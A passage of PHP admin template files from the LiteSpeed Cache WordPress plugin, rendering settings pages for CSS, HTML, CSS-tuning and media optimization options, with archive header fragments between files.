	<?php esc_html_e( 'CSS Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_CSS_MIN; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Minify CSS files and inline CSS code.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_CSS_COMB; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Combine CSS files and inline CSS code.', 'litespeed-cache' ); ?>
					<a href="https://docs.litespeedtech.com/lscache/lscwp/ts-optimize/" target="_blank"><?php esc_html_e( 'How to Fix Problems Caused by CSS/JS Optimization.', 'litespeed-cache' ); ?></a>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_OPTM_UCSS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php if ( ! $this->cls( 'Cloud' )->activated() ) : ?>
						<div class="litespeed-callout notice notice-error inline">
							<h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
							<?php echo wp_kses_post( Error::msg( 'qc_setup_required' ) ); ?>
						</div>
					<?php endif; ?>

					<?php esc_html_e( 'Use QUIC.cloud online service to generate unique CSS.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This will drop the unused CSS on each page from the combined file.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#generate-ucss' ); ?>
					<br /><?php esc_html_e( 'Automatic generation of unique CSS is in the background via a cron-based queue.', 'litespeed-cache' ); ?>
					<br />
					<font class="litespeed-success"><?php esc_html_e( 'API', 'litespeed-cache' ); ?>: <?php printf( esc_html__( 'Filter %s available for UCSS per page type generation.', 'litespeed-cache' ), '<code>add_filter( "litespeed_ucss_per_pagetype", "__return_true" );</code>' ); ?></font>
					<?php $__admin_display->_check_overwritten( 'optm-ucss_per_pagetype' ); ?>

					<?php if ( $this->conf( Base::O_OPTM_UCSS ) && ! $this->conf( Base::O_OPTM_CSS_COMB ) ) : ?>
						<br />
						<font class="litespeed-warning">
							<?php printf( esc_html__( 'This option is bypassed because %1$s option is %2$s.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_OPTM_CSS_COMB ) ) . '</code>', '<code>' . esc_html__( 'OFF', 'litespeed-cache' ) . '</code>' ); ?>
						</font>
					<?php endif; ?>
				</div>

				<div class="litespeed-desc litespeed-left20">
					<?php if ( $ucss_summary ) : ?>
						<?php if ( ! empty( $ucss_summary['last_request'] ) ) : ?>
							<p>
								<?php echo esc_html__( 'Last generated', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $ucss_summary['last_request'] ) ) . '</code>'; ?>
							</p>
							<p>
								<?php echo esc_html__( 'Last requested cost', 'litespeed-cache' ) . ': <code>' . esc_html( $ucss_summary['last_spent'] ) . 's</code>'; ?>
							</p>
						<?php endif; ?>
					<?php endif; ?>

					<?php if ( $closest_server_ucss ) : ?>
						<a class="litespeed-redetect" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_REDETECT_CLOUD, false, null, array( 'svc' => Cloud::SVC_UCSS ) ) ); ?>" data-balloon-pos="up" data-balloon-break aria-label="<?php printf( esc_html__( 'Current closest Cloud server is %s. Click to redetect.', 'litespeed-cache' ), esc_html( $closest_server_ucss ) ); ?>" data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to redetect the closest cloud server for this service?', 'litespeed-cache' ); ?>"><i class="litespeed-quic-icon"></i> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></a>
					<?php endif; ?>

					<?php if ( ! empty( $ucss_queue ) ) : ?>
						<div class="litespeed-callout notice notice-warning inline">
							<h4>
								<?php printf( esc_html__( 'URL list in %s queue waiting for cron', 'litespeed-cache' ), 'UCSS' ); ?> ( <?php echo esc_html( count( $ucss_queue ) ); ?> )
								<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_UCSS, UCSS::TYPE_CLEAR_Q ) ); ?>" class="button litespeed-btn-warning litespeed-right"><?php esc_html_e( 'Clear', 'litespeed-cache' ); ?></a>
							</h4>
							<p>
								<?php
								$i = 0;
								foreach ( $ucss_queue as $queue_key => $queue_val ) :
									if ( $i++ > 20 ) :
										echo '...';
										break;
									endif;
									if ( ! is_array( $queue_val ) ) {
										continue;
									}
									if ( ! empty( $queue_val['_status'] ) ) {
										echo '<span class="litespeed-success">';
									}
									echo esc_html( $queue_val['url'] );
									if ( ! empty( $queue_val['_status'] ) ) {
										echo '</span>';
									}
									$pos = strpos( $queue_key, ' ' );
									if ( $pos ) {
										echo ' (' . esc_html__( 'Vary Group', 'litespeed-cache' ) . ':' . esc_html( substr( $queue_key, 0, $pos ) ) . ')';
									}
									if ( $queue_val['is_mobile'] ) {
										echo ' <span data-balloon-pos="up" aria-label="mobile">📱</span>';
									}
									if ( ! empty( $queue_val['is_webp'] ) ) {
										echo ' ' . wp_kses_post( $next_gen );
									}
									echo '<br />';
								endforeach;
								?>
							</p>
						</div>
						<?php if ( $ucss_service_hot ) : ?>
							<button class="button button-secondary" disabled>
								<?php printf( esc_html__( 'Run %s Queue Manually', 'litespeed-cache' ), 'UCSS' ); ?>
								- <?php printf( esc_html__( 'Available after %d second(s)', 'litespeed-cache' ), esc_html( $ucss_service_hot ) ); ?>
							</button>
						<?php else : ?>
							<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_UCSS, UCSS::TYPE_GEN ) ); ?>" class="button litespeed-btn-success">
								<?php printf( esc_html__( 'Run %s Queue Manually', 'litespeed-cache' ), 'UCSS' ); ?>
							</a>
						<?php endif; ?>
						<?php Doc::queue_issues(); ?>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_OPTM_UCSS_INLINE; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_GUEST ) ) . '</code>' ); ?>
					<br />
					<font class="litespeed-info">
						<?php printf( esc_html__( 'This option will automatically bypass %s option.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_OPTM_CSS_ASYNC ) ) . '</code>' ); ?>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_CSS_COMB_EXT_INL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_OPTM_CSS_COMB ) ) . '</code>' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_CSS_ASYNC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php if ( ! $this->cls( 'Cloud' )->activated() ) : ?>
						<div class="litespeed-callout notice notice-error inline">
							<h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
							<?php echo wp_kses_post( Error::msg( 'qc_setup_required' ) ); ?>
						</div>
					<?php endif; ?>
					<?php esc_html_e( 'Optimize CSS delivery.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.', 'litespeed-cache' ); ?><br />
					<?php esc_html_e( 'Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#load-css-asynchronously' ); ?><br />
					<?php esc_html_e( 'Automatic generation of critical CSS is in the background via a cron-based queue.', 'litespeed-cache' ); ?><br />
					<?php printf( esc_html__( 'When this option is turned %s, it will also load Google Fonts asynchronously.', 'litespeed-cache' ), '<code>' . esc_html__( 'ON', 'litespeed-cache' ) . '</code>' ); ?>
					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Elements with attribute %s in HTML code will be excluded.', 'litespeed-cache' ), '<code>data-no-async="1"</code>' ); ?>
					</font>

					<?php if ( $this->conf( Base::O_OPTM_CSS_ASYNC ) && $this->conf( Base::O_OPTM_CSS_COMB ) && $this->conf( Base::O_OPTM_UCSS ) && $this->conf( Base::O_OPTM_UCSS_INLINE ) ) : ?>
						<br />
						<font class="litespeed-warning">
							<?php printf( esc_html__( 'This option is bypassed due to %s option.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_OPTM_UCSS_INLINE ) ) . '</code>' ); ?>
						</font>
					<?php endif; ?>
				</div>

				<div class="litespeed-desc litespeed-left20">
					<?php if ( $css_summary ) : ?>
						<?php if ( ! empty( $css_summary['last_request_ccss'] ) ) : ?>
							<p>
								<?php echo esc_html__( 'Last generated', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $css_summary['last_request_ccss'] ) ) . '</code>'; ?>
							</p>
							<p>
								<?php echo esc_html__( 'Last requested cost', 'litespeed-cache' ) . ': <code>' . esc_html( $css_summary['last_spent_ccss'] ) . 's</code>'; ?>
							</p>
						<?php endif; ?>
					<?php endif; ?>

					<?php if ( $closest_server ) : ?>
						<a class="litespeed-redetect" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_REDETECT_CLOUD, false, null, array( 'svc' => Cloud::SVC_CCSS ) ) ); ?>" data-balloon-pos="up" data-balloon-break aria-label="<?php printf( esc_html__( 'Current closest Cloud server is %s. Click to redetect.', 'litespeed-cache' ), esc_html( $closest_server ) ); ?>" data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to redetect the closest cloud server for this service?', 'litespeed-cache' ); ?>"><i class="litespeed-quic-icon"></i> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></a>
					<?php endif; ?>

					<?php if ( ! empty( $ccss_queue ) ) : ?>
						<div class="litespeed-callout notice notice-warning inline">
							<h4>
								<?php printf( esc_html__( 'URL list in %s queue waiting for cron', 'litespeed-cache' ), 'CCSS' ); ?> ( <?php echo esc_html( count( $ccss_queue ) ); ?> )
								<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CSS, CSS::TYPE_CLEAR_Q_CCSS ) ); ?>" class="button litespeed-btn-warning litespeed-right"><?php esc_html_e( 'Clear', 'litespeed-cache' ); ?></a>
							</h4>
							<p>
								<?php
								$i = 0;
								foreach ( $ccss_queue as $queue_key => $queue_val ) :
									if ( $i++ > 20 ) :
										echo '...';
										break;
									endif;
									if ( ! is_array( $queue_val ) ) {
										continue;
									}
									if ( ! empty( $queue_val['_status'] ) ) {
										echo '<span class="litespeed-success">';
									}
									echo esc_html( $queue_val['url'] );
									if ( ! empty( $queue_val['_status'] ) ) {
										echo '</span>';
									}
									$pos = strpos( $queue_key, ' ' );
									if ( $pos ) {
										echo ' (' . esc_html__( 'Vary Group', 'litespeed-cache' ) . ':' . esc_html( substr( $queue_key, 0, $pos ) ) . ')';
									}
									if ( $queue_val['is_mobile'] ) {
										echo ' <span data-balloon-pos="up" aria-label="mobile">📱</span>';
									}
									if ( ! empty( $queue_val['is_webp'] ) ) {
										echo ' ' . wp_kses_post( $next_gen );
									}
									echo '<br />';
								endforeach;
								?>
							</p>
						</div>
						<?php if ( $ccss_service_hot ) : ?>
							<button class="button button-secondary" disabled>
								<?php printf( esc_html__( 'Run %s Queue Manually', 'litespeed-cache' ), 'CCSS' ); ?>
								- <?php printf( esc_html__( 'Available after %d second(s)', 'litespeed-cache' ), esc_html( $ccss_service_hot ) ); ?>
							</button>
						<?php else : ?>
							<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CSS, CSS::TYPE_GEN_CCSS ) ); ?>" class="button litespeed-btn-success">
								<?php printf( esc_html__( 'Run %s Queue Manually', 'litespeed-cache' ), 'CCSS' ); ?>
							</a>
						<?php endif; ?>
						<?php Doc::queue_issues(); ?>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_OPTM_CCSS_PER_URL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_OPTM_CSS_ASYNC_INLINE; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'This will inline the asynchronous CSS library to avoid render blocking.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_CSS_FONT_DISPLAY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id, array( esc_html__( 'Default', 'litespeed-cache' ), 'Swap' ) ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.', 'litespeed-cache' ), '<code>font-display</code>', '<code>@font-face</code>' ); ?>
					<br /><?php printf( esc_html__( '%s is recommended.', 'litespeed-cache' ), '<code>' . esc_html__( 'Swap', 'litespeed-cache' ) . '</code>' ); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_html.tpl.php000064400000014507151031165260023243 0ustar00<?php
/**
 * LiteSpeed Cache HTML Settings
 *
 * Renders the HTML optimization settings interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'HTML Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#html-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_HTML_MIN; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Minify HTML content.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_DNS_PREFETCH; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Prefetching DNS can reduce latency for visitors.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'For example', 'litespeed-cache' ); ?>: <code>//www.example.com</code>
					<?php Doc::one_per_line(); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#dns-prefetch' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_DNS_PREFETCH_CTRL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This can improve the page loading speed.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_DNS_PRECONNECT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Preconnecting speeds up future loads from a given origin.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'For example', 'litespeed-cache' ); ?>: <code>https://example.com</code>
					<?php Doc::one_per_line(); ?>
					<?php Doc::learn_more( 'https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/preconnect' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_HTML_LAZY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Delay rendering off-screen HTML elements by its selector.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#html-lazyload-selectors' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_HTML_SKIP_COMMENTS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'When minifying HTML do not discard comments that match a specified pattern.', 'litespeed-cache' ); ?>
					<br />
					<?php printf( esc_html__( 'If comment to be kept is like: %1$s write: %2$s', 'litespeed-cache' ), '<code>&lt;!-- A comment that needs to be here --&gt;</code>', '<code>A comment that needs to be here</code>' ); ?>
					<br />
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_QS_RM; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Remove query strings from internal static resources.', 'litespeed-cache' ); ?>
					<br />
					<font class="litespeed-warning">
						⚠️
						<?php esc_html_e( 'Google reCAPTCHA will be bypassed automatically.', 'litespeed-cache' ); ?>
					</font>
					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Append query string %s to the resources to bypass this action.', 'litespeed-cache' ), '<code>&amp;_litespeed_rm_qs=0</code>' ); ?>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_GGFONTS_ASYNC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This will also add a preconnect to Google Fonts to establish a connection earlier.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#load-google-fonts-asynchronously' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_GGFONTS_RM; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Prevent Google Fonts from loading on all pages.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_EMOJI_RM; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_NOSCRIPT_RM; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'This option will remove all %s tags from HTML.', 'litespeed-cache' ), '<code>&lt;noscript&gt;</code>' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#remove-noscript-tags' ); ?>
				</div>
			</td>
		</tr>

	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_tuning_css.tpl.php000064400000016711151031165260024452 0ustar00<?php
/**
 * LiteSpeed Cache Tuning CSS Settings
 *
 * Renders the Tuning CSS settings interface for LiteSpeed Cache, allowing configuration of CSS exclusions and optimizations.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

?>
<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Tuning CSS Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#tuning-css-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
<tbody>
	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_CSS_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Listed CSS files or inline CSS code will not be minified or combined.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url(); ?>
				<?php Doc::one_per_line(); ?>
				<br /><font class="litespeed-success">
					<?php echo esc_html_e( 'API', 'litespeed-cache' ); ?>:
					<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_optimize_css_excludes</code>' ); ?>
					<?php printf( esc_html__( 'Elements with attribute %s in html code will be excluded.', 'litespeed-cache' ), '<code>data-no-optimize="1"</code>' ); ?>
					<br /><?php echo esc_html_e( 'Predefined list will also be combined with the above settings', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/dev/data/css_excludes.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/dev/data/css_excludes.txt</a>
				</font>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_UCSS_FILE_EXC_INLINE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Listed CSS files will be excluded from UCSS and saved to inline.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url(); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_UCSS_SELECTOR_WHITELIST; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'List the CSS selectors whose styles should always be included in UCSS.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#ucss-selector-allowlist', esc_html__( 'Learn more', 'litespeed-cache' ) ); ?>.
				<br /><?php printf( esc_html__( 'Wildcard %s supported.', 'litespeed-cache' ), '<code>*</code>' ); ?>
				<div class="litespeed-callout notice notice-warning inline">
					<h4><?php esc_html_e( 'Note', 'litespeed-cache' ); ?></h4>
					<p>
						<?php esc_html_e( 'The selector must exist in the CSS. Parent classes in the HTML will not work.', 'litespeed-cache' ); ?>
					</p>
				</div>
				<font class="litespeed-success">
					<?php esc_html_e( 'Predefined list will also be combined w/ the above settings', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/dev/data/ucss_whitelist.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/dev/data/ucss_whitelist.txt</a>
				</font>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_UCSS_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Listed URI will not generate UCSS.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url(); ?>
				<?php Doc::one_per_line(); ?>
				<br /><span class="litespeed-success">
					<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
					<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_ucss_exc</code>' ); ?>
				</span>
				<br /><font class="litespeed-success"><?php esc_html_e( 'API', 'litespeed-cache' ); ?>: <?php printf( esc_html__( 'Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.', 'litespeed-cache' ), "<code>add_filter( 'litespeed_ucss_per_pagetype', function(){return get_post_type() == 'page';} );</code>", '<code>page</code>' ); ?></font>
				<br /><font class="litespeed-success"><?php esc_html_e( 'API', 'litespeed-cache' ); ?>: <?php printf( esc_html__( 'Use %1$s to bypass UCSS for the pages which page type is %2$s.', 'litespeed-cache' ), "<code>add_action( 'litespeed_optm', function(){get_post_type() == 'page' && do_action( 'litespeed_conf_force', 'optm-ucss', false );});</code>", '<code>page</code>' ); ?></font>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_CCSS_SEP_POSTTYPE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'List post types where each item of that type should have its own CCSS generated.', 'litespeed-cache' ); ?>
				<?php printf( esc_html__( 'For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.', 'litespeed-cache' ), '<code>page</code>' ); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#separate-ccss-cache-post-types_1' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_CCSS_SEP_URI; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Separate critical CSS files will be generated for paths containing these strings.', 'litespeed-cache' ); ?>
				<?php $this->_uri_usage_example(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_CCSS_SELECTOR_WHITELIST; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'List the CSS selectors whose styles should always be included in CCSS.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#ccss-selector-allowlist', esc_html__( 'Learn more', 'litespeed-cache' ) ); ?>.
				<br /><?php printf( esc_html__( 'Wildcard %s supported.', 'litespeed-cache' ), '<code>*</code>' ); ?>
				<div class="litespeed-callout notice notice-warning inline">
					<h4><?php esc_html_e( 'Note', 'litespeed-cache' ); ?></h4>
					<p>
						<?php esc_html_e( 'Selectors must exist in the CSS. Parent classes in the HTML will not work.', 'litespeed-cache' ); ?>
					</p>
				</div>
				<font class="litespeed-success">
					<?php esc_html_e( 'Predefined list will also be combined w/ the above settings', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/dev/data/ccss_whitelist.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/dev/data/ccss_whitelist.txt</a>
				</font>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_CCSS_CON; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php printf( esc_html__( 'Specify critical CSS rules for above-the-fold content when enabling %s.', 'litespeed-cache' ), esc_html__( 'Load CSS Asynchronously', 'litespeed-cache' ) ); ?>
			</div>
		</td>
	</tr>

</tbody></table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_media.tpl.php000064400000032143151031165260023352 0ustar00<?php
/**
 * LiteSpeed Cache Media Settings
 *
 * Renders the media settings interface for LiteSpeed Cache, including lazy loading, placeholders, and image optimization options.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$__admin_display     = Admin_Display::cls();
$placeholder_summary = Placeholder::get_summary();
$closest_server      = Cloud::get_summary( 'server.' . Cloud::SVC_LQIP );

$lqip_queue = $this->load_queue( 'lqip' );

$scaled_size = apply_filters( 'big_image_size_threshold', 2560 ) . 'px';

?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Media Settings', 'litespeed-cache' ); ?>
